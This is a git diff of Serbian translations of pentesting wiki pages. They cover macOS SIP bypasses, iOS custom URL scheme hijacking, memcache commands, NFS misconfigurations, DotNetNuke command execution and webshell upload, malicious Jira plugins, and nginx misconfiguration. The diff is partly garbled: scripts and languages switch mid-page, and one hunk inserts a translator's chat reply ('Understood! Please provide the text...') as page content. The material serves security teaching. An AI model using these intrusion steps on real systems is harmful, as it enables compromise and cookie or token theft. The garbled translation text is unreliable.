@@ -156,19 +156,19 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
```
#### [Upgrader bypass (2016)](https://objective-see.org/blog/blog_0x14.html)
-Sistem je podešen da se pokrene sa ugrađenog instalacionog diska unutar `Install macOS Sierra.app` za nadogradnju operativnog sistema, koristeći `bless` alat. Komanda koja se koristi je sledeća:
+Sistem je podešen da se pokrene sa ugrađenog instalacionog diska unutar `Install macOS Sierra.app` za nadogradnju operativnog sistema, koristeći `bless` alat. Korisćena komanda je sledeća:
```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
```
-Bezbednost ovog procesa može biti kompromitovana ako napadač izmeni sliku za nadogradnju (`InstallESD.dmg`) pre pokretanja. Strategija uključuje zamenu dinamičkog učitavača (dyld) sa zloćudnom verzijom (`libBaseIA.dylib`). Ova zamena rezultira izvršavanjem napadačevog koda kada se instalater pokrene.
+Bezbednost ovog procesa može biti kompromitovana ako napadač izmeni sliku za nadogradnju (`InstallESD.dmg`) pre pokretanja. Strategija uključuje zamenu dinamičkog učitavača (dyld) sa zloćudnom verzijom (`libBaseIA.dylib`). Ova zamena rezultira izvršavanjem napadačevog koda kada se pokrene instalater.
Napadačev kod preuzima kontrolu tokom procesa nadogradnje, koristeći poverenje sistema u instalater. Napad se nastavlja izmenom slike `InstallESD.dmg` putem metode swizzling, posebno ciljanjem na metodu `extractBootBits`. Ovo omogućava injekciju zloćudnog koda pre nego što se slika diska upotrebi.
-Štaviše, unutar `InstallESD.dmg`, postoji `BaseSystem.dmg`, koja služi kao korenski fajl sistem nadogradnje. Injekcija dinamičke biblioteke u ovo omogućava zloćudnom kodu da funkcioniše unutar procesa sposobnog za izmenu OS nivoa fajlova, značajno povećavajući potencijal za kompromitovanje sistema.
+Štaviše, unutar `InstallESD.dmg`, postoji `BaseSystem.dmg`, koja služi kao korenski fajl sistem nadogradnje. Injekcija dinamičke biblioteke u ovo omogućava zloćudnom kodu da funkcioniše unutar procesa sposobnog za izmenu fajlova na nivou operativnog sistema, značajno povećavajući potencijal za kompromitovanje sistema.
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
-U ovom govoru sa [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), prikazano je kako **`systemmigrationd`** (koji može zaobići SIP) izvršava **bash** i **perl** skriptu, koja može biti zloupotrebljena putem env varijabli **`BASH_ENV`** i **`PERL5OPT`**.
+U ovom predavanju sa [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), prikazano je kako **`systemmigrationd`** (koji može zaobići SIP) izvršava **bash** i **perl** skriptu, koja može biti zloupotrebljena putem env varijabli **`BASH_ENV`** i **`PERL5OPT`**.
#### CVE-2023-42860
@@ -194,14 +194,14 @@ Zapečaćene sistemske snimke su funkcija koju je Apple uveo u **macOS Big Sur (
Evo detaljnijeg pregleda:
1. **Nepromenljiv sistem**: Zapečaćene sistemske snimke čine macOS sistemski volumen "nepromenljivim", što znači da ne može biti modifikovan. Ovo sprečava bilo kakve neovlašćene ili slučajne promene na sistemu koje bi mogle ugroziti bezbednost ili stabilnost sistema.
-2. **Ažuriranja sistemskog softvera**: Kada instalirate ažuriranja ili nadogradnje za macOS, macOS kreira novu sistemsku snimku. Zatim, macOS startni volumen koristi **APFS (Apple File System)** da pređe na ovu novu snimku. Ceo proces primene ažuriranja postaje sigurniji i pouzdaniji jer se sistem uvek može vratiti na prethodnu snimku ako nešto pođe po zlu tokom ažuriranja.
+2. **Ažuriranja sistemskog softvera**: Kada instalirate ažuriranja ili nadogradnje za macOS, macOS kreira novu sistemsku snimku. Zatim, macOS pokreće volumen koristeći **APFS (Apple File System)** da pređe na ovu novu snimku. Ceo proces primene ažuriranja postaje sigurniji i pouzdaniji jer se sistem uvek može vratiti na prethodnu snimku ako nešto pođe po zlu tokom ažuriranja.
3. **Separacija podataka**: U skladu sa konceptom separacije podataka i sistemskog volumena uvedenim u macOS Catalina, funkcija zapečaćenih sistemskih snimaka osigurava da su svi vaši podaci i podešavanja smešteni na odvojenom "**Data**" volumenu. Ova separacija čini vaše podatke nezavisnim od sistema, što pojednostavljuje proces ažuriranja sistema i poboljšava bezbednost sistema.
Zapamtite da ove snimke automatski upravlja macOS i ne zauzimaju dodatni prostor na vašem disku, zahvaljujući mogućnostima deljenja prostora APFS-a. Takođe je važno napomenuti da su ove snimke različite od **Time Machine snimaka**, koje su korisnički dostupne sigurnosne kopije celog sistema.
### Proverite snimke
-Komanda **`diskutil apfs list`** prikazuje **detalje APFS volumena** i njihov raspored:
+Komanda **`diskutil apfs list`** prikazuje **detalje o APFS volumenima** i njihovom rasporedu:
+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ====================================================
@@ -210,7 +210,7 @@ Komanda **`diskutil apfs list`** prikazuje **detalje APFS volumena** i njihov ra
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
| |
-| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
+| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | APFS Physical Store Disk: disk0s2
| | Size: 494384795648 B (494.4 GB)
@@ -242,7 +242,7 @@ Komanda **`diskutil apfs list`** prikazuje **detalje APFS volumena** i njihov ra
U prethodnom izlazu je moguće videti da su **lokacije dostupne korisnicima** montirane pod `/System/Volumes/Data`.
-Pored toga, **macOS sistemska snimka volumena** je montirana u `/` i ona je **zapečaćena** (kriptografski potpisana od strane OS-a). Dakle, ako se SIP zaobiđe i modifikuje, **OS više neće moći da se pokrene**.
+Pored toga, **sistem volumena snimka macOS-a** je montiran u `/` i on je **zapečaćen** (kriptografski potpisan od strane OS-a). Dakle, ako se SIP zaobiđe i modifikuje, **OS više neće moći da se pokrene**.
Takođe je moguće **proveriti da li je pečat omogućen** pokretanjem:
```bash
diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
index 578438c30..3eb2ece8a 100644
--- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
@@ -4,13 +4,13 @@
## Osnovne Informacije
-Prilagođeni URL šeme omogućavaju aplikacijama da komuniciraju koristeći prilagođeni protokol, kao što je detaljno opisano u [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ove šeme moraju biti deklarisane od strane aplikacije, koja zatim obrađuje dolazne URL-ove prema tim šemama. Ključno je **validirati sve URL parametre** i **odbaciti sve neispravne URL-ove** kako bi se sprečili napadi putem ovog vektora.
+Prilagođeni URL šeme omogućavaju aplikacijama da komuniciraju koristeći prilagođeni protokol, kao što je detaljno objašnjeno u [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ove šeme moraju biti deklarisane od strane aplikacije, koja zatim obrađuje dolazne URL-ove prema tim šemama. Ključno je **validirati sve URL parametre** i **odbaciti sve neispravne URL-ove** kako bi se sprečili napadi putem ovog vektora.
Primer je dat gde URI `myapp://hostname?data=123876123` poziva specifičnu akciju aplikacije. Zapažena ranjivost bila je u Skype Mobile aplikaciji, koja je omogućila neovlašćene pozivne akcije putem `skype://` protokola. Registrovane šeme se mogu naći u `Info.plist` aplikacije pod `CFBundleURLTypes`. Zlonamerne aplikacije mogu iskoristiti ovo ponovnim registracijama URI-a kako bi presreli osetljive informacije.
-### Registracija Šema Upita Aplikacije
+### Registracija Šema Upita Aplikacija
-Od iOS 9.0, da bi se proverilo da li je aplikacija dostupna, `canOpenURL:` zahteva deklarisanje URL šema u `Info.plist` pod `LSApplicationQueriesSchemes`. Ovo ograničava šeme koje aplikacija može upititi na 50, poboljšavajući privatnost sprečavanjem enumeracije aplikacija.
+Od iOS 9.0, da bi se proverilo da li je aplikacija dostupna, `canOpenURL:` zahteva deklarisanje URL šema u `Info.plist` pod `LSApplicationQueriesSchemes`. Ovo ograničava šeme koje aplikacija može da upita na 50, poboljšavajući privatnost sprečavanjem enumeracije aplikacija.
```xml
LSApplicationQueriesSchemes
@@ -44,17 +44,17 @@ self.openUrl(url: url)
return true
}
```
-### Тестирање URL захтева за друге апликације
+### Testing URL Requests to Other Apps
-Методе као што су `openURL:options:completionHandler:` су кључне за отварање URL-ова ради интеракције са другим апликацијама. Идентификовање употребе таквих метода у изворном коду апликације је кључно за разумевање спољашњих комуникација.
+Metode kao što su `openURL:options:completionHandler:` su ključne za otvaranje URL-ova za interakciju sa drugim aplikacijama. Identifikacija korišćenja takvih metoda u izvor kodu aplikacije je ključna za razumevanje spoljne komunikacije.
-### Тестирање за застареле методе
+### Testing for Deprecated Methods
-Застареле методе које обрађују отварање URL-ова, као што су `application:handleOpenURL:` и `openURL:`, треба идентификовати и прегледати због безбедносних импликација.
+Zastarjeli metodi koji se bave otvaranjem URL-ova, kao što su `application:handleOpenURL:` i `openURL:`, treba da budu identifikovani i pregledani zbog bezbednosnih implikacija.
-### Фуззинг URL шема
+### Fuzzing URL Schemes
-Фуззинг URL шема може идентификовати багове корупције меморије. Алати као што је [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) могу аутоматизовати овај процес отварањем URL-ова са различитим payload-овима ради праћења падова, што је примерено манипулацијом URL-ова у iGoat-Swift апликацији:
+Fuzzing URL shema može identifikovati greške u oštećenju memorije. Alati kao što je [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) mogu automatizovati ovaj proces otvaranjem URL-ova sa različitim payload-ima kako bi se pratili padovi, što je ilustrovano manipulacijom URL-ova u iGoat-Swift aplikaciji:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@@ -64,10 +64,10 @@ Opened URL: iGoat://?contactNumber=0&message=0
```
## Hijackovanje prilagođenih URL šema
-Prema [**ovom postu**](https://evanconnelly.github.io/post/ios-oauth/), zlonamerne aplikacije mogu **registrovati prilagođene šeme drugih aplikacija,** zatim zlonamerna aplikacija može otvoriti pregledač koji ima sve kolačiće Safari aplikacije sa [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters).
+Prema [**ovom postu**](https://evanconnelly.github.io/post/ios-oauth/), zlonamerne aplikacije mogu **registrovati prilagođene šeme drugih aplikacija,** zatim zlonamerna aplikacija može otvoriti pregledač koji ima sve kolačiće Safari aplikacije sa [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters).
-Sa pregledačem, zlonamerna aplikacija može učitati veb stranicu koju kontroliše napadač i TCC će tražiti od mobilnog korisnika dozvole za otvaranje te aplikacije. Zatim, zlonamerna veb stranica može preusmeriti na stranicu žrtve, na primer, OAuth tok sa parametrima `prompt=none`. Ako je korisnik već bio prijavljen u OAuth toku, OAuth tok će poslati tajnu nazad u aplikaciju žrtve koristeći prilagođenu šemu aplikacije žrtve.\
-Međutim, pošto je zlonamerna aplikacija takođe registrovala tu šemu i pošto je korišćen pregledač unutar zlonamerne aplikacije, prilagođena šema će u ovom slučaju biti obrađena od strane zlonamerne aplikacije koja će moći da ukrade OAuth token.
+Sa pregledačem, zlonamerna aplikacija može učitati veb stranicu koju kontroliše napadač i TCC će tražiti od mobilnog korisnika dozvole da otvori tu aplikaciju. Zatim, zlonamerna veb stranica može preusmeriti na stranicu žrtve, na primer, OAuth tok sa parametrima `prompt=none`. Ako je korisnik već bio prijavljen u OAuth toku, OAuth tok će poslati tajnu nazad u aplikaciju žrtve koristeći prilagođenu šemu aplikacije žrtve.\
+Međutim, pošto je zlonamerna aplikacija takođe registrovala tu šemu i pošto je korišćeni pregledač unutar zlonamerne aplikacije, prilagođena šema će u ovom slučaju biti obrađena od strane zlonamerne aplikacije koja će moći da ukrade OAuth token.
## Reference
diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md
index 48eccb0e8..9eadd84fb 100644
--- a/src/network-services-pentesting/11211-memcache/memcache-commands.md
+++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md
@@ -1,47 +1,48 @@
-# Memcache Komande
+# Memcache Commands
{{#include ../../banners/hacktricks-training.md}}
-## Cheat-Sheet Komandi
-**Iz** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
+## Commands Cheat-Sheet
+
+**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
Podržane komande (službene i neke neslužbene) su dokumentovane u [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) dokumentu.
Nažalost, opis sintakse nije baš jasan i jednostavna pomoćna komanda koja bi navela postojeće komande bi bila mnogo bolja. Evo pregleda komandi koje možete pronaći u [source](https://github.com/memcached/memcached) (od 19.08.2016):
-| Komanda | Opis | Primer |
-| -------------------- | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
-| get | Čita vrednost | `get mykey` |
-| set | Postavlja ključ bezuslovno |
set mykey <flags> <ttl> <size>
<p>Obavezno koristite \r\n kao prelome linija kada koristite Unix CLI alate. Na primer</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211
|
-| add | Dodaje novi ključ | `add newkey 0 60 5` |
-| replace | Prepisuje postojeći ključ | `replace key 0 60 5` |
-| append | Dodaje podatke postojećem ključu | `append key 0 60 15` |
-| prepend | Dodaje podatke postojećem ključu | `prepend key 0 60 15` |
-| incr | Povećava numeričku vrednost ključa za dati broj | `incr mykey 2` |
-| decr | Smanjuje numeričku vrednost ključa za dati broj | `decr mykey 5` |
-| delete | Briše postojeći ključ | `delete mykey` |
-| flush_all | Nepovratno uklanja sve stavke odmah | `flush_all` |
-| flush_all | Nepovratno uklanja sve stavke u n sekundi | `flush_all 900` |
-| stats | Štampa opštu statistiku | `stats` |
-| | Štampa statistiku memorije | `stats slabs` |
-| | Štampa statistiku alokacije višeg nivoa | `stats malloc` |
-| | Štampa informacije o stavkama | `stats items` |
-| | | `stats detail` |
-| | | `stats sizes` |
-| | Resetuje brojače statistike | `stats reset` |
-| lru_crawler metadump | Izbacuje (većinu) metapodataka za (sve) stavke u kešu | `lru_crawler metadump all` |
-| version | Štampa verziju servera. | `version` |
-| verbosity | Povećava nivo logovanja | `verbosity` |
-| quit | Prekida sesiju | `quit` |
+| Command | Description | Example |
+| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
+| get | Čita vrednost | `get mykey` |
+| set | Postavlja ključ bezuslovno |
set mykey
Obavezno koristite \r\n kao prelome linija kada koristite Unix CLI alate. Na primer
printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211 |
+| add | Dodaje novi ključ | `add newkey 0 60 5` |
+| replace | Prepisuje postojeći ključ | `replace key 0 60 5` |
+| append | Dodaje podatke postojećem ključu | `append key 0 60 15` |
+| prepend | Dodaje podatke ispred postojećeg ključa | `prepend key 0 60 15` |
+| incr | Povećava numeričku vrednost ključa za dati broj | `incr mykey 2` |
+| decr | Smanjuje numeričku vrednost ključa za dati broj | `decr mykey 5` |
+| delete | Briše postojeći ključ | `delete mykey` |
+| flush_all | Nevaži sve stavke odmah | `flush_all` |
+| flush_all | Nevaži sve stavke u n sekundi | `flush_all 900` |
+| stats | Štampa opšte statistike | `stats` |
+| | Štampa statistiku memorije | `stats slabs` |
+| | Štampa statistiku alokacije višeg nivoa | `stats malloc` |
+| | Štampa informacije o stavkama | `stats items` |
+| | | `stats detail` |
+| | | `stats sizes` |
+| | Resetuje brojače statistike | `stats reset` |
+| lru_crawler metadump | Izbacuje (većinu) metapodataka za (sve) stavke u kešu | `lru_crawler metadump all` |
+| version | Štampa verziju servera. | `version` |
+| verbosity | Povećava nivo logovanja | `verbosity` |
+| quit | Prekida sesiju | `quit` |
-#### Statistika Saobraćaja
+#### Traffic Statistics
-Možete upitati trenutnu statistiku saobraćaja koristeći komandu
+Možete upitati trenutne statistike saobraćaja koristeći komandu
```
stats
```
-Dobijaćete izveštaj koji prikazuje broj konekcija, bajtova ulaz/izlaz i još mnogo toga.
+Dobijaćete izveštaj koji prikazuje broj konekcija, bajtova u/iz i još mnogo toga.
Primer izlaza:
```
@@ -71,11 +72,11 @@ END
```
#### Statistika memorije
-Možete upitati trenutnu statistiku memorije koristeći
+Možete upititi trenutnu statistiku memorije koristeći
```
stats slabs
```
-Nema dostupnog sadržaja za prevođenje.
+Understood! Please provide the text you would like me to translate.
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@@ -96,7 +97,7 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
-Ako niste sigurni da li imate dovoljno memorije za vaš memcached instancu, uvek obratite pažnju na "evictions" brojače koje daje "stats" komanda. Ako imate dovoljno memorije za instancu, "evictions" brojač bi trebao biti 0 ili bar ne bi trebao rasti.
+Ako niste sigurni da li imate dovoljno memorije za vaš memcached instancu, uvek obratite pažnju na brojače “evictions” koje daje komanda “stats”. Ako imate dovoljno memorije za instancu, brojač “evictions” bi trebao biti 0 ili bar ne bi trebao rasti.
#### Koji Ključevi Se Koriste?
@@ -104,7 +105,7 @@ Ne postoji ugrađena funkcija koja direktno određuje trenutni skup ključeva. M
```
stats items
```
-команда за одређивање колико кључева постоји.
+komanda za određivanje koliko ključeva postoji.
```
stats items
STAT items:1:number 220
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index 3ab9577c8..5ac590537 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -4,23 +4,23 @@
## **Osnovne informacije**
-**NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da besprekorno pristupaju datotekama preko mreže kao da su te datoteke smeštene unutar lokalnog direktorijuma.
+**NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da besprekorno pristupaju datotekama preko mreže kao da se te datoteke nalaze unutar lokalnog direktorijuma.
Značajan aspekt ovog protokola je njegov nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o datotečnom sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** datotečnog sistema, prvenstveno prateći **UNIX sintaksu**.
-Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalne nesaglasnosti u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije.
+Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije.
-**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP).
+**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Verzije
-- **NFSv2**: Ova verzija je prepoznata po širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za budući razvoj.
+- **NFSv2**: Ova verzija je prepoznata po širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za buduće razvoj.
- **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširila svog prethodnika podržavajući promenljive veličine datoteka i nudeći poboljšane mehanizme izveštavanja o greškama. I pored svojih napredaka, suočila se sa ograničenjima u punoj unazadnoj kompatibilnosti sa NFSv2 klijentima.
-- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmape-ima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njena poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
+- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njena poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
Svaka verzija NFS-a je razvijena sa namerom da odgovori na evoluirajuće potrebe mrežnih okruženja, postepeno poboljšavajući sigurnost, kompatibilnost i performanse.
@@ -70,15 +70,15 @@ Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fa
```
### Opasne postavke
-- **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje u fajl sistem. Važno je razmotriti posledice davanja tako širokog pristupa.
+- **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje na datotečnom sistemu. Važno je razmotriti posledice davanja tako širokog pristupa.
- **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Bezbednost portova iznad ovog opsega može biti manje stroga, povećavajući rizik.
-- **Vidljivost ugnježdenih fajl sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi fajl sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje.
+- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje.
-- **Vlasništvo fajlova od strane root korisnika (`no_root_squash`):** Sa ovom postavkom, fajlovi koje kreira root korisnik zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.
+- **Vlasništvo nad datotekama korisnika root (`no_root_squash`):** Sa ovom postavkom, datoteke koje kreira korisnik root zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.
-- **Nesmanjenje svih korisnika (`no_all_squash`):** Ova opcija osigurava da identiteti korisnika budu očuvani širom sistema, što može dovesti do problema sa dozvolama i kontrolom pristupa ako se ne upravlja pravilno.
+- **Ne-squashovanje svih korisnika (`no_all_squash`):** Ova opcija osigurava da identiteti korisnika budu sačuvani širom sistema, što može dovesti do problema sa dozvolama i kontrolom pristupa ako se ne upravlja pravilno.
## Eskalacija privilegija korišćenjem NFS pogrešnih konfiguracija
diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index 2fcedaebc..bd59fb215 100644
--- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
@@ -27,7 +27,7 @@ xp_cmdshell 'whoami'
```
### Putem ASP webshell-a
-U `Settings -> Security -> More -> More Security Settings` možete **dodati nove dozvoljene ekstenzije** pod `Allowable File Extensions`, a zatim kliknite na dugme `Save`.
+U `Settings -> Security -> More -> More Security Settings` možete **dodati nove dozvoljene ekstenzije** pod `Allowable File Extensions`, a zatim kliknuti na dugme `Save`.
Dodajte **`asp`** ili **`aspx`** i zatim u **`/admin/file-management`** otpremite **asp webshell** nazvan `shell.asp`, na primer.
@@ -35,6 +35,6 @@ Zatim pristupite **`/Portals/0/shell.asp`** da biste pristupili svom webshell-u.
### Eskalacija privilegija
-Možete **eskalirati privilegije** koristeći **Potatoes** ili **PrintSpoofer**, na primer.
+Možete **eskalirati privilegije** koristeći **Potatoes** ili **PrintSpoofer**, na primer.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
index 190f760f8..1a16e2741 100644
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ b/src/network-services-pentesting/pentesting-web/jira.md
@@ -93,17 +93,17 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
-Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje daje korisnik.
+Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje je dao korisnik.
-Kada se pronađe XSS, u [**ovoj github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
+Kada se pronađe XSS, u [**ovom github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
## Backdoor Plugin
-[**Ova objava**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje različite (maliciozne) radnje koje bi mogao da izvrši maliciozni Jira dodatak. Možete pronaći [**primer koda u ovom repozitorijumu**](https://github.com/cyllective/malfluence).
+[**Ova objava**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje različite (maliciozne) radnje koje bi mogao izvršiti maliciozni Jira dodatak. Možete pronaći [**primer koda u ovom repozitorijumu**](https://github.com/cyllective/malfluence).
-Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
+Ovo su neke od radnji koje bi maliciozni dodatak mogao izvršiti:
-- **Sakrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
+- **Skrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
- **Ekstrakcija priloga i stranica**: Omogućava pristup i ekstrakciju svih podataka.
- **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i otkriti kolačiće.
- **Izvršavanje komandi**: Naravno, moguće je kreirati dodatak koji će izvršavati kod.
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index eb20d36eb..b8fd7f562 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -16,21 +16,21 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
-U ovoj konfiguraciji, `/etc/nginx` je označen kao korenski direktorijum. Ova postavka omogućava pristup datotekama unutar specificiranog korenskog direktorijuma, kao što je `/hello.txt`. Međutim, važno je napomenuti da je definisana samo specifična lokacija (`/hello.txt`). Nema konfiguracije za korensku lokaciju (`location / {...}`). Ova propuštena konfiguracija znači da se korenska direktiva primenjuje globalno, omogućavajući zahtevima za korenskim putem `/` da pristupe datotekama pod `/etc/nginx`.
+U ovoj konfiguraciji, `/etc/nginx` je označen kao korenski direktorijum. Ova postavka omogućava pristup datotekama unutar specificiranog korenskog direktorijuma, kao što je `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Nema konfiguracije za korensku lokaciju (`location / {...}`). Ova propuštena konfiguracija znači da se korenska direktiva primenjuje globalno, omogućavajući zahteve za korenskim putem `/` da pristupaju datotekama pod `/etc/nginx`.
-Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i enkriptovane akreditive korišćene za HTTP osnovnu autentifikaciju.
